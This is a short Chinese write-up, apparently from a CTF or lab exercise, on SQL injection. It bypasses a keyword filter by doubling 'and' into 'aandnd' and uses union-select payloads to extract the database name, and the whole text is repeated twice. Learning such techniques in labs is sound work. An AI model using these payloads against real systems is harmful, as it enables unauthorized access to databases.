0X01 看见bind好像是盲注的意思
尝试闭合语句 加入’ 报错 双引号也报错 难道是不许要闭合的？
我们尝试一下 发现过滤了and
?id=1 and 1=1
那么我们构造
?id=1 aandnd 1=1
成功
0X01构造语句 爆库名
?id=1 aandnd order by 1 过滤了or
-1 union select 1,database(),3
这里就是将'去掉了 其他语法不变
学习之路 切记 少就是多 慢就是快
0X01 看见bind好像是盲注的意思
尝试闭合语句 加入’ 报错 双引号也报错 难道是不许要闭合的？
我们尝试一下 发现过滤了and
?id=1 and 1=1
那么我们构造
?id=1 aandnd 1=1
成功
0X01构造语句 爆库名
?id=1 aandnd order by 1 过滤了or
-1 union select 1,database(),3
这里就是将'去掉了 其他语法不变
学习之路 切记 少就是多 慢就是快